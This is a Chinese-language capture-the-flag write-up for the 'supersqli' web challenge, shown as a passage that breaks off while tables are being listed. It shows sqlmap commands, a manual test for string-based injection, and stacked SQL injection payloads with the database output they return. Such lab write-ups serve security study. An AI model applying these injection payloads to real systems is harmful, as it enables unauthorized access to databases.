攻防世界web解题[进阶](二)
介绍:记录解题过程
5.supersqli
题目描述:随便注
sqlmap爆破(sql注入)
- <1>.sqlmap爆当前数据库信息
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" --current-db
[16:37:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.16.1
back-end DBMS: MySQL 5 (MariaDB fork)
[16:37:04] [INFO] fetching current database
[16:37:04] [INFO] resumed: supersqli
current database: 'supersqli'
- 得到数据库名
supersqli
- <2>.sqlmap.列出指定数据库所有的表名
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" -D supersqli --tables
- 发现sqlmap爆不出表名
- 查看源码,看到了这句话,额…sqlmap看来用不了了,那只能手工注入了
<!-- sqlmap是没有灵魂的 -->
手工注入
/?inject=2-1
的结果与 /?inject=2
相同,说明不存在数字型注入
尝试 /?inject=2'
发现页面回显如下,说明存在字符型注入
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2''' at line 1
- 尝试了各种注入都不行,用堆叠注入可以:
<1>.查看数据库名:
/?inject=1';show databases;#
- 回显
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
<2>. 查看表名
1';show tables;#
array(1) {
[0]=>
string(5) "words"
}
array(1) {
[